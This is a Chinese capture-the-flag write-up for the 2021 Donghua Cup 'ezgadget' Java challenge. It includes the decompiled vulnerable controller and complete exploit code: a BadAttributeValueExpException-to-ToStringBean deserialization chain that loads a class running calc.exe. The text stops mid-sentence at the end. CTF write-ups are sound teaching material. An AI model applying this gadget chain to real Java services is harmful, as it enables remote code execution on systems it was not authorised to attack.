2021 东华杯 ezgadget
IndexController类:
package com.ezgame.ctf.controller;
import com.ezgame.ctf.tools.Tools;
import java.io.ByteArrayInputStream;
import java.io.InputStream;
import java.io.ObjectInputStream;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.springframework.beans.factory.xml.BeanDefinitionParserDelegate;
import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;
@Controller
/* loaded from: ezgadget.jar:BOOT-INF/classes/com/ezgame/ctf/controller/IndexController.class */
public class IndexController {
@RequestMapping({"/"})
@ResponseBody
public String index(HttpServletRequest request, HttpServletResponse response) {
return BeanDefinitionParserDelegate.INDEX_ATTRIBUTE;
}
@RequestMapping({"/readobject"})
@ResponseBody
public String unser(@RequestParam(name = "data", required = true) String data, Model model) throws Exception {
byte[] b = Tools.base64Decode(data);
InputStream inputStream = new ByteArrayInputStream(b);
ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
String name = objectInputStream.readUTF();
int year = objectInputStream.readInt();
if (name.equals("gadgets") && year == 2021) {
objectInputStream.readObject();
return "welcome bro.";
}
return "welcome bro.";
}
}
ToStringBean类:
package com.ezgame.ctf.tools;
import java.io.Serializable;
/* loaded from: ezgadget.jar:BOOT-INF/classes/com/ezgame/ctf/tools/ToStringBean.class */
public class ToStringBean extends ClassLoader implements Serializable {
private byte[] ClassByte;
public String toString() {
ToStringBean toStringBean = new ToStringBean();
Class clazz = toStringBean.defineClass((String) null, this.ClassByte, 0, this.ClassByte.length);
try {
clazz.newInstance();
return "enjoy it.";
} catch (IllegalAccessException e) {
e.printStackTrace();
return "enjoy it.";
} catch (InstantiationException e2) {
e2.printStackTrace();
return "enjoy it.";
}
}
}
通过/readobject传入base64编码的恶意序列化类,readObject调用ToStringBean类的toString方法,加载自定义恶意类,先构造恶意类evil:
import java.io.IOException;
public class Evil {
public Evil() throws IOException {
Runtime.getRuntime().exec("calc.exe");
}
}
生成恶意序列化字符串,注意将ToStringBean类放在com.ezgame.ctf.tools包下:
import com.ezgame.ctf.tools.ToStringBean;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import javax.management.BadAttributeValueExpException;
public class Exploit {
public static void main(String[] args) throws Exception{
// 构造恶意类
byte[] evilClassByte = Files.readAllBytes(Paths.get("path\\to\\Evil.class"));
ToStringBean toStringBean = new ToStringBean();
Field classbyteField = toStringBean.getClass().getDeclaredField("ClassByte");
classbyteField.setAccessible(true);
classbyteField.set(toStringBean, evilClassByte);
// BadAttributeValueExpException.readObject -> ToStringBean.ToString -> 弹计算器
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException("test");
Field valField = badAttributeValueExpException.getClass().getDeclaredField("val");
valField.setAccessible(true);
valField.set(badAttributeValueExpException, toStringBean);
// 反序列化条件 if (name.equals("gadgets") && year == 2021)
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeUTF("gadgets");
objectOutputStream.writeInt(2021);
// 最后序列化恶意类
objectOutputStream.writeObject(badAttributeValueExpException);
// 输出base64编码序列化结果
byte[] expByte = byteArrayOutputStream.toByteArray();
String base64ExpString = base64Encode(expByte);
System.out.println(base64ExpString);
// 测试
test(base64ExpString);
}
public static void test(String data) throws Exception{
byte[] b = base64Decode(data);
InputStream inputStream = new ByteArrayInputStream(b);
ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
String name = objectInputStream.readUTF();
int year = objectInputStream.readInt();
if (name.equals("gadgets") && year == 2021) {
objectInputStream.readObject();
System.out.println("Yes");
}
System.out.println("No");
}
public static String base64Encode(byte[] bytes) {
Base64.Encoder encoder = Base64.getEncoder();
return encoder.encodeToString(bytes);
}
public static byte[] base64Decode(String base64) {
Base64.Decoder decoder = Base64.getDecoder();
return decoder.decode(base64);
}
}
data传参base64字符串时注意要将特殊字符转义:
